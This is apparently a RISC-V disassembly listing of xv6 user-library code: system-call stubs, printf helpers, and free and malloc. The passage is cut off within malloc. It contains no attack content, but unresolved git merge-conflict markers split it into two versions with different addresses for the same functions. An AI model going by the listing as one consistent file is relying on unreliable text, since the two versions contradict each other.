00000000000054d4 <wait>:
.global wait
wait:
li a7, SYS_wait
54d4: 488d li a7,3
ecall
54d6: 00000073 ecall
ret
54da: 8082 ret
00000000000054dc <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
54dc: 4891 li a7,4
ecall
54de: 00000073 ecall
ret
54e2: 8082 ret
00000000000054e4 <read>:
.global read
read:
li a7, SYS_read
54e4: 4895 li a7,5
ecall
54e6: 00000073 ecall
ret
54ea: 8082 ret
00000000000054ec <write>:
.global write
write:
li a7, SYS_write
54ec: 48c1 li a7,16
ecall
54ee: 00000073 ecall
ret
54f2: 8082 ret
00000000000054f4 <close>:
.global close
close:
li a7, SYS_close
54f4: 48d5 li a7,21
ecall
54f6: 00000073 ecall
ret
54fa: 8082 ret
00000000000054fc <kill>:
.global kill
kill:
li a7, SYS_kill
54fc: 4899 li a7,6
ecall
54fe: 00000073 ecall
ret
5502: 8082 ret
0000000000005504 <exec>:
.global exec
exec:
li a7, SYS_exec
5504: 489d li a7,7
ecall
5506: 00000073 ecall
ret
550a: 8082 ret
000000000000550c <open>:
.global open
open:
li a7, SYS_open
550c: 48bd li a7,15
ecall
550e: 00000073 ecall
ret
5512: 8082 ret
0000000000005514 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
5514: 48c5 li a7,17
ecall
5516: 00000073 ecall
ret
551a: 8082 ret
000000000000551c <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
551c: 48c9 li a7,18
ecall
551e: 00000073 ecall
ret
5522: 8082 ret
0000000000005524 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
5524: 48a1 li a7,8
ecall
5526: 00000073 ecall
ret
552a: 8082 ret
000000000000552c <link>:
.global link
link:
li a7, SYS_link
552c: 48cd li a7,19
ecall
552e: 00000073 ecall
ret
5532: 8082 ret
0000000000005534 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
5534: 48d1 li a7,20
ecall
5536: 00000073 ecall
ret
553a: 8082 ret
000000000000553c <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
553c: 48a5 li a7,9
ecall
553e: 00000073 ecall
ret
5542: 8082 ret
0000000000005544 <dup>:
.global dup
dup:
li a7, SYS_dup
5544: 48a9 li a7,10
ecall
5546: 00000073 ecall
ret
554a: 8082 ret
000000000000554c <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
554c: 48ad li a7,11
ecall
554e: 00000073 ecall
ret
5552: 8082 ret
0000000000005554 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
5554: 48b1 li a7,12
ecall
5556: 00000073 ecall
ret
555a: 8082 ret
000000000000555c <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
555c: 48b5 li a7,13
ecall
555e: 00000073 ecall
ret
5562: 8082 ret
0000000000005564 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
5564: 48b9 li a7,14
ecall
5566: 00000073 ecall
ret
556a: 8082 ret
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
000000000000556c <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
556c: 1101 addi sp,sp,-32
556e: ec06 sd ra,24(sp)
5570: e822 sd s0,16(sp)
5572: 1000 addi s0,sp,32
5574: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
5578: 4605 li a2,1
557a: fef40593 addi a1,s0,-17
557e: 00000097 auipc ra,0x0
5582: f6e080e7 jalr -146(ra) # 54ec <write>
}
5586: 60e2 ld ra,24(sp)
5588: 6442 ld s0,16(sp)
558a: 6105 addi sp,sp,32
558c: 8082 ret
000000000000558e <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
558e: 7139 addi sp,sp,-64
5590: fc06 sd ra,56(sp)
5592: f822 sd s0,48(sp)
5594: f426 sd s1,40(sp)
5596: f04a sd s2,32(sp)
5598: ec4e sd s3,24(sp)
559a: 0080 addi s0,sp,64
559c: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
559e: c299 beqz a3,55a4 <printint+0x16>
<<<<<<< HEAD
55a0: 0805c963 bltz a1,5632 <printint+0xa4>
=======
55a0: 0805c863 bltz a1,5630 <printint+0xa2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
neg = 1;
x = -xx;
} else {
x = xx;
55a4: 2581 sext.w a1,a1
neg = 0;
55a6: 4881 li a7,0
55a8: fc040693 addi a3,s0,-64
}
i = 0;
55ac: 4701 li a4,0
do{
buf[i++] = digits[x % base];
55ae: 2601 sext.w a2,a2
55b0: 00003517 auipc a0,0x3
<<<<<<< HEAD
55b4: c0050513 addi a0,a0,-1024 # 81b0 <digits>
=======
55b4: ba850513 addi a0,a0,-1112 # 8158 <digits>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
55b8: 883a mv a6,a4
55ba: 2705 addiw a4,a4,1
55bc: 02c5f7bb remuw a5,a1,a2
55c0: 1782 slli a5,a5,0x20
55c2: 9381 srli a5,a5,0x20
55c4: 97aa add a5,a5,a0
55c6: 0007c783 lbu a5,0(a5)
55ca: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
55ce: 0005879b sext.w a5,a1
55d2: 02c5d5bb divuw a1,a1,a2
55d6: 0685 addi a3,a3,1
55d8: fec7f0e3 bgeu a5,a2,55b8 <printint+0x2a>
if(neg)
<<<<<<< HEAD
55dc: 00088c63 beqz a7,55f4 <printint+0x66>
buf[i++] = '-';
55e0: fd070793 addi a5,a4,-48
55e4: 00878733 add a4,a5,s0
55e8: 02d00793 li a5,45
55ec: fef70823 sb a5,-16(a4)
55f0: 0028071b addiw a4,a6,2
while(--i >= 0)
55f4: 02e05863 blez a4,5624 <printint+0x96>
55f8: fc040793 addi a5,s0,-64
55fc: 00e78933 add s2,a5,a4
5600: fff78993 addi s3,a5,-1
5604: 99ba add s3,s3,a4
5606: 377d addiw a4,a4,-1
5608: 1702 slli a4,a4,0x20
560a: 9301 srli a4,a4,0x20
560c: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
5610: fff94583 lbu a1,-1(s2)
5614: 8526 mv a0,s1
5616: 00000097 auipc ra,0x0
561a: f56080e7 jalr -170(ra) # 556c <putc>
while(--i >= 0)
561e: 197d addi s2,s2,-1
5620: ff3918e3 bne s2,s3,5610 <printint+0x82>
}
5624: 70e2 ld ra,56(sp)
5626: 7442 ld s0,48(sp)
5628: 74a2 ld s1,40(sp)
562a: 7902 ld s2,32(sp)
562c: 69e2 ld s3,24(sp)
562e: 6121 addi sp,sp,64
5630: 8082 ret
x = -xx;
5632: 40b005bb negw a1,a1
neg = 1;
5636: 4885 li a7,1
x = -xx;
5638: bf85 j 55a8 <printint+0x1a>
000000000000563a <vprintf>:
=======
55dc: 00088b63 beqz a7,55f2 <printint+0x64>
buf[i++] = '-';
55e0: fd040793 addi a5,s0,-48
55e4: 973e add a4,a4,a5
55e6: 02d00793 li a5,45
55ea: fef70823 sb a5,-16(a4)
55ee: 0028071b addiw a4,a6,2
while(--i >= 0)
55f2: 02e05863 blez a4,5622 <printint+0x94>
55f6: fc040793 addi a5,s0,-64
55fa: 00e78933 add s2,a5,a4
55fe: fff78993 addi s3,a5,-1
5602: 99ba add s3,s3,a4
5604: 377d addiw a4,a4,-1
5606: 1702 slli a4,a4,0x20
5608: 9301 srli a4,a4,0x20
560a: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
560e: fff94583 lbu a1,-1(s2)
5612: 8526 mv a0,s1
5614: 00000097 auipc ra,0x0
5618: f58080e7 jalr -168(ra) # 556c <putc>
while(--i >= 0)
561c: 197d addi s2,s2,-1
561e: ff3918e3 bne s2,s3,560e <printint+0x80>
}
5622: 70e2 ld ra,56(sp)
5624: 7442 ld s0,48(sp)
5626: 74a2 ld s1,40(sp)
5628: 7902 ld s2,32(sp)
562a: 69e2 ld s3,24(sp)
562c: 6121 addi sp,sp,64
562e: 8082 ret
x = -xx;
5630: 40b005bb negw a1,a1
neg = 1;
5634: 4885 li a7,1
x = -xx;
5636: bf8d j 55a8 <printint+0x1a>
0000000000005638 <vprintf>:
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
<<<<<<< HEAD
563a: 7119 addi sp,sp,-128
563c: fc86 sd ra,120(sp)
563e: f8a2 sd s0,112(sp)
5640: f4a6 sd s1,104(sp)
5642: f0ca sd s2,96(sp)
5644: ecce sd s3,88(sp)
5646: e8d2 sd s4,80(sp)
5648: e4d6 sd s5,72(sp)
564a: e0da sd s6,64(sp)
564c: fc5e sd s7,56(sp)
564e: f862 sd s8,48(sp)
5650: f466 sd s9,40(sp)
5652: f06a sd s10,32(sp)
5654: ec6e sd s11,24(sp)
5656: 0100 addi s0,sp,128
=======
5638: 7119 addi sp,sp,-128
563a: fc86 sd ra,120(sp)
563c: f8a2 sd s0,112(sp)
563e: f4a6 sd s1,104(sp)
5640: f0ca sd s2,96(sp)
5642: ecce sd s3,88(sp)
5644: e8d2 sd s4,80(sp)
5646: e4d6 sd s5,72(sp)
5648: e0da sd s6,64(sp)
564a: fc5e sd s7,56(sp)
564c: f862 sd s8,48(sp)
564e: f466 sd s9,40(sp)
5650: f06a sd s10,32(sp)
5652: ec6e sd s11,24(sp)
5654: 0100 addi s0,sp,128
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
<<<<<<< HEAD
5658: 0005c903 lbu s2,0(a1)
565c: 18090f63 beqz s2,57fa <vprintf+0x1c0>
5660: 8aaa mv s5,a0
5662: 8b32 mv s6,a2
5664: 00158493 addi s1,a1,1
state = 0;
5668: 4981 li s3,0
=======
5656: 0005c903 lbu s2,0(a1)
565a: 18090f63 beqz s2,57f8 <vprintf+0x1c0>
565e: 8aaa mv s5,a0
5660: 8b32 mv s6,a2
5662: 00158493 addi s1,a1,1
state = 0;
5666: 4981 li s3,0
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
<<<<<<< HEAD
566a: 02500a13 li s4,37
566e: 4c55 li s8,21
5670: 00003c97 auipc s9,0x3
5674: ae8c8c93 addi s9,s9,-1304 # 8158 <l_free+0x26f0>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
s = va_arg(ap, char*);
if(s == 0)
s = "(null)";
while(*s != 0){
5678: 02800d93 li s11,40
putc(fd, 'x');
567c: 4d41 li s10,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
567e: 00003b97 auipc s7,0x3
5682: b32b8b93 addi s7,s7,-1230 # 81b0 <digits>
5686: a839 j 56a4 <vprintf+0x6a>
putc(fd, c);
5688: 85ca mv a1,s2
568a: 8556 mv a0,s5
568c: 00000097 auipc ra,0x0
5690: ee0080e7 jalr -288(ra) # 556c <putc>
5694: a019 j 569a <vprintf+0x60>
} else if(state == '%'){
5696: 01498d63 beq s3,s4,56b0 <vprintf+0x76>
for(i = 0; fmt[i]; i++){
569a: 0485 addi s1,s1,1
569c: fff4c903 lbu s2,-1(s1)
56a0: 14090d63 beqz s2,57fa <vprintf+0x1c0>
if(state == 0){
56a4: fe0999e3 bnez s3,5696 <vprintf+0x5c>
if(c == '%'){
56a8: ff4910e3 bne s2,s4,5688 <vprintf+0x4e>
state = '%';
56ac: 89d2 mv s3,s4
56ae: b7f5 j 569a <vprintf+0x60>
if(c == 'd'){
56b0: 11490c63 beq s2,s4,57c8 <vprintf+0x18e>
56b4: f9d9079b addiw a5,s2,-99
56b8: 0ff7f793 zext.b a5,a5
56bc: 10fc6e63 bltu s8,a5,57d8 <vprintf+0x19e>
56c0: f9d9079b addiw a5,s2,-99
56c4: 0ff7f713 zext.b a4,a5
56c8: 10ec6863 bltu s8,a4,57d8 <vprintf+0x19e>
56cc: 00271793 slli a5,a4,0x2
56d0: 97e6 add a5,a5,s9
56d2: 439c lw a5,0(a5)
56d4: 97e6 add a5,a5,s9
56d6: 8782 jr a5
printint(fd, va_arg(ap, int), 10, 1);
56d8: 008b0913 addi s2,s6,8
56dc: 4685 li a3,1
56de: 4629 li a2,10
56e0: 000b2583 lw a1,0(s6)
56e4: 8556 mv a0,s5
56e6: 00000097 auipc ra,0x0
56ea: ea8080e7 jalr -344(ra) # 558e <printint>
56ee: 8b4a mv s6,s2
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
56f0: 4981 li s3,0
56f2: b765 j 569a <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
56f4: 008b0913 addi s2,s6,8
56f8: 4681 li a3,0
56fa: 4629 li a2,10
56fc: 000b2583 lw a1,0(s6)
5700: 8556 mv a0,s5
5702: 00000097 auipc ra,0x0
5706: e8c080e7 jalr -372(ra) # 558e <printint>
570a: 8b4a mv s6,s2
state = 0;
570c: 4981 li s3,0
570e: b771 j 569a <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
5710: 008b0913 addi s2,s6,8
5714: 4681 li a3,0
5716: 866a mv a2,s10
5718: 000b2583 lw a1,0(s6)
571c: 8556 mv a0,s5
571e: 00000097 auipc ra,0x0
5722: e70080e7 jalr -400(ra) # 558e <printint>
5726: 8b4a mv s6,s2
state = 0;
5728: 4981 li s3,0
572a: bf85 j 569a <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
572c: 008b0793 addi a5,s6,8
5730: f8f43423 sd a5,-120(s0)
5734: 000b3983 ld s3,0(s6)
putc(fd, '0');
5738: 03000593 li a1,48
573c: 8556 mv a0,s5
573e: 00000097 auipc ra,0x0
5742: e2e080e7 jalr -466(ra) # 556c <putc>
putc(fd, 'x');
5746: 07800593 li a1,120
574a: 8556 mv a0,s5
574c: 00000097 auipc ra,0x0
5750: e20080e7 jalr -480(ra) # 556c <putc>
5754: 896a mv s2,s10
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
5756: 03c9d793 srli a5,s3,0x3c
575a: 97de add a5,a5,s7
575c: 0007c583 lbu a1,0(a5)
5760: 8556 mv a0,s5
5762: 00000097 auipc ra,0x0
5766: e0a080e7 jalr -502(ra) # 556c <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
576a: 0992 slli s3,s3,0x4
576c: 397d addiw s2,s2,-1
576e: fe0914e3 bnez s2,5756 <vprintf+0x11c>
printptr(fd, va_arg(ap, uint64));
5772: f8843b03 ld s6,-120(s0)
state = 0;
5776: 4981 li s3,0
5778: b70d j 569a <vprintf+0x60>
s = va_arg(ap, char*);
577a: 008b0913 addi s2,s6,8
577e: 000b3983 ld s3,0(s6)
if(s == 0)
5782: 02098163 beqz s3,57a4 <vprintf+0x16a>
while(*s != 0){
5786: 0009c583 lbu a1,0(s3)
578a: c5ad beqz a1,57f4 <vprintf+0x1ba>
putc(fd, *s);
578c: 8556 mv a0,s5
578e: 00000097 auipc ra,0x0
5792: dde080e7 jalr -546(ra) # 556c <putc>
s++;
5796: 0985 addi s3,s3,1
while(*s != 0){
5798: 0009c583 lbu a1,0(s3)
579c: f9e5 bnez a1,578c <vprintf+0x152>
s = va_arg(ap, char*);
579e: 8b4a mv s6,s2
state = 0;
57a0: 4981 li s3,0
57a2: bde5 j 569a <vprintf+0x60>
s = "(null)";
57a4: 00003997 auipc s3,0x3
57a8: 9ac98993 addi s3,s3,-1620 # 8150 <l_free+0x26e8>
while(*s != 0){
57ac: 85ee mv a1,s11
57ae: bff9 j 578c <vprintf+0x152>
putc(fd, va_arg(ap, uint));
57b0: 008b0913 addi s2,s6,8
57b4: 000b4583 lbu a1,0(s6)
57b8: 8556 mv a0,s5
57ba: 00000097 auipc ra,0x0
57be: db2080e7 jalr -590(ra) # 556c <putc>
57c2: 8b4a mv s6,s2
state = 0;
57c4: 4981 li s3,0
57c6: bdd1 j 569a <vprintf+0x60>
putc(fd, c);
57c8: 85d2 mv a1,s4
57ca: 8556 mv a0,s5
57cc: 00000097 auipc ra,0x0
57d0: da0080e7 jalr -608(ra) # 556c <putc>
state = 0;
57d4: 4981 li s3,0
57d6: b5d1 j 569a <vprintf+0x60>
putc(fd, '%');
57d8: 85d2 mv a1,s4
57da: 8556 mv a0,s5
57dc: 00000097 auipc ra,0x0
57e0: d90080e7 jalr -624(ra) # 556c <putc>
putc(fd, c);
57e4: 85ca mv a1,s2
57e6: 8556 mv a0,s5
57e8: 00000097 auipc ra,0x0
57ec: d84080e7 jalr -636(ra) # 556c <putc>
state = 0;
57f0: 4981 li s3,0
57f2: b565 j 569a <vprintf+0x60>
s = va_arg(ap, char*);
57f4: 8b4a mv s6,s2
state = 0;
57f6: 4981 li s3,0
57f8: b54d j 569a <vprintf+0x60>
}
}
}
57fa: 70e6 ld ra,120(sp)
57fc: 7446 ld s0,112(sp)
57fe: 74a6 ld s1,104(sp)
5800: 7906 ld s2,96(sp)
5802: 69e6 ld s3,88(sp)
5804: 6a46 ld s4,80(sp)
5806: 6aa6 ld s5,72(sp)
5808: 6b06 ld s6,64(sp)
580a: 7be2 ld s7,56(sp)
580c: 7c42 ld s8,48(sp)
580e: 7ca2 ld s9,40(sp)
5810: 7d02 ld s10,32(sp)
5812: 6de2 ld s11,24(sp)
5814: 6109 addi sp,sp,128
5816: 8082 ret
0000000000005818 <fprintf>:
=======
5668: 02500a13 li s4,37
if(c == 'd'){
566c: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
5670: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
5674: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
5678: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
567c: 00003b97 auipc s7,0x3
5680: adcb8b93 addi s7,s7,-1316 # 8158 <digits>
5684: a839 j 56a2 <vprintf+0x6a>
putc(fd, c);
5686: 85ca mv a1,s2
5688: 8556 mv a0,s5
568a: 00000097 auipc ra,0x0
568e: ee2080e7 jalr -286(ra) # 556c <putc>
5692: a019 j 5698 <vprintf+0x60>
} else if(state == '%'){
5694: 01498f63 beq s3,s4,56b2 <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
5698: 0485 addi s1,s1,1
569a: fff4c903 lbu s2,-1(s1)
569e: 14090d63 beqz s2,57f8 <vprintf+0x1c0>
c = fmt[i] & 0xff;
56a2: 0009079b sext.w a5,s2
if(state == 0){
56a6: fe0997e3 bnez s3,5694 <vprintf+0x5c>
if(c == '%'){
56aa: fd479ee3 bne a5,s4,5686 <vprintf+0x4e>
state = '%';
56ae: 89be mv s3,a5
56b0: b7e5 j 5698 <vprintf+0x60>
if(c == 'd'){
56b2: 05878063 beq a5,s8,56f2 <vprintf+0xba>
} else if(c == 'l') {
56b6: 05978c63 beq a5,s9,570e <vprintf+0xd6>
} else if(c == 'x') {
56ba: 07a78863 beq a5,s10,572a <vprintf+0xf2>
} else if(c == 'p') {
56be: 09b78463 beq a5,s11,5746 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
56c2: 07300713 li a4,115
56c6: 0ce78663 beq a5,a4,5792 <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
56ca: 06300713 li a4,99
56ce: 0ee78e63 beq a5,a4,57ca <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
56d2: 11478863 beq a5,s4,57e2 <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
56d6: 85d2 mv a1,s4
56d8: 8556 mv a0,s5
56da: 00000097 auipc ra,0x0
56de: e92080e7 jalr -366(ra) # 556c <putc>
putc(fd, c);
56e2: 85ca mv a1,s2
56e4: 8556 mv a0,s5
56e6: 00000097 auipc ra,0x0
56ea: e86080e7 jalr -378(ra) # 556c <putc>
}
state = 0;
56ee: 4981 li s3,0
56f0: b765 j 5698 <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
56f2: 008b0913 addi s2,s6,8
56f6: 4685 li a3,1
56f8: 4629 li a2,10
56fa: 000b2583 lw a1,0(s6)
56fe: 8556 mv a0,s5
5700: 00000097 auipc ra,0x0
5704: e8e080e7 jalr -370(ra) # 558e <printint>
5708: 8b4a mv s6,s2
state = 0;
570a: 4981 li s3,0
570c: b771 j 5698 <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
570e: 008b0913 addi s2,s6,8
5712: 4681 li a3,0
5714: 4629 li a2,10
5716: 000b2583 lw a1,0(s6)
571a: 8556 mv a0,s5
571c: 00000097 auipc ra,0x0
5720: e72080e7 jalr -398(ra) # 558e <printint>
5724: 8b4a mv s6,s2
state = 0;
5726: 4981 li s3,0
5728: bf85 j 5698 <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
572a: 008b0913 addi s2,s6,8
572e: 4681 li a3,0
5730: 4641 li a2,16
5732: 000b2583 lw a1,0(s6)
5736: 8556 mv a0,s5
5738: 00000097 auipc ra,0x0
573c: e56080e7 jalr -426(ra) # 558e <printint>
5740: 8b4a mv s6,s2
state = 0;
5742: 4981 li s3,0
5744: bf91 j 5698 <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
5746: 008b0793 addi a5,s6,8
574a: f8f43423 sd a5,-120(s0)
574e: 000b3983 ld s3,0(s6)
putc(fd, '0');
5752: 03000593 li a1,48
5756: 8556 mv a0,s5
5758: 00000097 auipc ra,0x0
575c: e14080e7 jalr -492(ra) # 556c <putc>
putc(fd, 'x');
5760: 85ea mv a1,s10
5762: 8556 mv a0,s5
5764: 00000097 auipc ra,0x0
5768: e08080e7 jalr -504(ra) # 556c <putc>
576c: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
576e: 03c9d793 srli a5,s3,0x3c
5772: 97de add a5,a5,s7
5774: 0007c583 lbu a1,0(a5)
5778: 8556 mv a0,s5
577a: 00000097 auipc ra,0x0
577e: df2080e7 jalr -526(ra) # 556c <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
5782: 0992 slli s3,s3,0x4
5784: 397d addiw s2,s2,-1
5786: fe0914e3 bnez s2,576e <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
578a: f8843b03 ld s6,-120(s0)
state = 0;
578e: 4981 li s3,0
5790: b721 j 5698 <vprintf+0x60>
s = va_arg(ap, char*);
5792: 008b0993 addi s3,s6,8
5796: 000b3903 ld s2,0(s6)
if(s == 0)
579a: 02090163 beqz s2,57bc <vprintf+0x184>
while(*s != 0){
579e: 00094583 lbu a1,0(s2)
57a2: c9a1 beqz a1,57f2 <vprintf+0x1ba>
putc(fd, *s);
57a4: 8556 mv a0,s5
57a6: 00000097 auipc ra,0x0
57aa: dc6080e7 jalr -570(ra) # 556c <putc>
s++;
57ae: 0905 addi s2,s2,1
while(*s != 0){
57b0: 00094583 lbu a1,0(s2)
57b4: f9e5 bnez a1,57a4 <vprintf+0x16c>
s = va_arg(ap, char*);
57b6: 8b4e mv s6,s3
state = 0;
57b8: 4981 li s3,0
57ba: bdf9 j 5698 <vprintf+0x60>
s = "(null)";
57bc: 00003917 auipc s2,0x3
57c0: 99490913 addi s2,s2,-1644 # 8150 <l_free+0x26ea>
while(*s != 0){
57c4: 02800593 li a1,40
57c8: bff1 j 57a4 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
57ca: 008b0913 addi s2,s6,8
57ce: 000b4583 lbu a1,0(s6)
57d2: 8556 mv a0,s5
57d4: 00000097 auipc ra,0x0
57d8: d98080e7 jalr -616(ra) # 556c <putc>
57dc: 8b4a mv s6,s2
state = 0;
57de: 4981 li s3,0
57e0: bd65 j 5698 <vprintf+0x60>
putc(fd, c);
57e2: 85d2 mv a1,s4
57e4: 8556 mv a0,s5
57e6: 00000097 auipc ra,0x0
57ea: d86080e7 jalr -634(ra) # 556c <putc>
state = 0;
57ee: 4981 li s3,0
57f0: b565 j 5698 <vprintf+0x60>
s = va_arg(ap, char*);
57f2: 8b4e mv s6,s3
state = 0;
57f4: 4981 li s3,0
57f6: b54d j 5698 <vprintf+0x60>
}
}
}
57f8: 70e6 ld ra,120(sp)
57fa: 7446 ld s0,112(sp)
57fc: 74a6 ld s1,104(sp)
57fe: 7906 ld s2,96(sp)
5800: 69e6 ld s3,88(sp)
5802: 6a46 ld s4,80(sp)
5804: 6aa6 ld s5,72(sp)
5806: 6b06 ld s6,64(sp)
5808: 7be2 ld s7,56(sp)
580a: 7c42 ld s8,48(sp)
580c: 7ca2 ld s9,40(sp)
580e: 7d02 ld s10,32(sp)
5810: 6de2 ld s11,24(sp)
5812: 6109 addi sp,sp,128
5814: 8082 ret
0000000000005816 <fprintf>:
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
void
fprintf(int fd, const char *fmt, ...)
{
<<<<<<< HEAD
5818: 715d addi sp,sp,-80
581a: ec06 sd ra,24(sp)
581c: e822 sd s0,16(sp)
581e: 1000 addi s0,sp,32
5820: e010 sd a2,0(s0)
5822: e414 sd a3,8(s0)
5824: e818 sd a4,16(s0)
5826: ec1c sd a5,24(s0)
5828: 03043023 sd a6,32(s0)
582c: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
5830: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
5834: 8622 mv a2,s0
5836: 00000097 auipc ra,0x0
583a: e04080e7 jalr -508(ra) # 563a <vprintf>
}
583e: 60e2 ld ra,24(sp)
5840: 6442 ld s0,16(sp)
5842: 6161 addi sp,sp,80
5844: 8082 ret
0000000000005846 <printf>:
=======
5816: 715d addi sp,sp,-80
5818: ec06 sd ra,24(sp)
581a: e822 sd s0,16(sp)
581c: 1000 addi s0,sp,32
581e: e010 sd a2,0(s0)
5820: e414 sd a3,8(s0)
5822: e818 sd a4,16(s0)
5824: ec1c sd a5,24(s0)
5826: 03043023 sd a6,32(s0)
582a: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
582e: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
5832: 8622 mv a2,s0
5834: 00000097 auipc ra,0x0
5838: e04080e7 jalr -508(ra) # 5638 <vprintf>
}
583c: 60e2 ld ra,24(sp)
583e: 6442 ld s0,16(sp)
5840: 6161 addi sp,sp,80
5842: 8082 ret
0000000000005844 <printf>:
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
void
printf(const char *fmt, ...)
{
<<<<<<< HEAD
5846: 711d addi sp,sp,-96
5848: ec06 sd ra,24(sp)
584a: e822 sd s0,16(sp)
584c: 1000 addi s0,sp,32
584e: e40c sd a1,8(s0)
5850: e810 sd a2,16(s0)
5852: ec14 sd a3,24(s0)
5854: f018 sd a4,32(s0)
5856: f41c sd a5,40(s0)
5858: 03043823 sd a6,48(s0)
585c: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
5860: 00840613 addi a2,s0,8
5864: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
5868: 85aa mv a1,a0
586a: 4505 li a0,1
586c: 00000097 auipc ra,0x0
5870: dce080e7 jalr -562(ra) # 563a <vprintf>
}
5874: 60e2 ld ra,24(sp)
5876: 6442 ld s0,16(sp)
5878: 6125 addi sp,sp,96
587a: 8082 ret
000000000000587c <free>:
587c: 1141 addi sp,sp,-16
587e: e422 sd s0,8(sp)
5880: 0800 addi s0,sp,16
5882: ff050693 addi a3,a0,-16
5886: 00003797 auipc a5,0x3
588a: 96a7b783 ld a5,-1686(a5) # 81f0 <freep>
588e: a805 j 58be <free+0x42>
5890: 4618 lw a4,8(a2)
5892: 9db9 addw a1,a1,a4
5894: feb52c23 sw a1,-8(a0)
5898: 6398 ld a4,0(a5)
589a: 6318 ld a4,0(a4)
589c: fee53823 sd a4,-16(a0)
58a0: a091 j 58e4 <free+0x68>
58a2: ff852703 lw a4,-8(a0)
58a6: 9e39 addw a2,a2,a4
58a8: c790 sw a2,8(a5)
58aa: ff053703 ld a4,-16(a0)
58ae: e398 sd a4,0(a5)
58b0: a099 j 58f6 <free+0x7a>
58b2: 6398 ld a4,0(a5)
58b4: 00e7e463 bltu a5,a4,58bc <free+0x40>
58b8: 00e6ea63 bltu a3,a4,58cc <free+0x50>
58bc: 87ba mv a5,a4
58be: fed7fae3 bgeu a5,a3,58b2 <free+0x36>
58c2: 6398 ld a4,0(a5)
58c4: 00e6e463 bltu a3,a4,58cc <free+0x50>
58c8: fee7eae3 bltu a5,a4,58bc <free+0x40>
58cc: ff852583 lw a1,-8(a0)
58d0: 6390 ld a2,0(a5)
58d2: 02059713 slli a4,a1,0x20
58d6: 9301 srli a4,a4,0x20
58d8: 0712 slli a4,a4,0x4
58da: 9736 add a4,a4,a3
58dc: fae60ae3 beq a2,a4,5890 <free+0x14>
58e0: fec53823 sd a2,-16(a0)
58e4: 4790 lw a2,8(a5)
58e6: 02061713 slli a4,a2,0x20
58ea: 9301 srli a4,a4,0x20
58ec: 0712 slli a4,a4,0x4
58ee: 973e add a4,a4,a5
58f0: fae689e3 beq a3,a4,58a2 <free+0x26>
58f4: e394 sd a3,0(a5)
58f6: 00003717 auipc a4,0x3
58fa: 8ef73d23 sd a5,-1798(a4) # 81f0 <freep>
58fe: 6422 ld s0,8(sp)
5900: 0141 addi sp,sp,16
5902: 8082 ret
0000000000005904 <malloc>:
5904: 7139 addi sp,sp,-64
5906: fc06 sd ra,56(sp)
5908: f822 sd s0,48(sp)
590a: f426 sd s1,40(sp)
590c: f04a sd s2,32(sp)
590e: ec4e sd s3,24(sp)
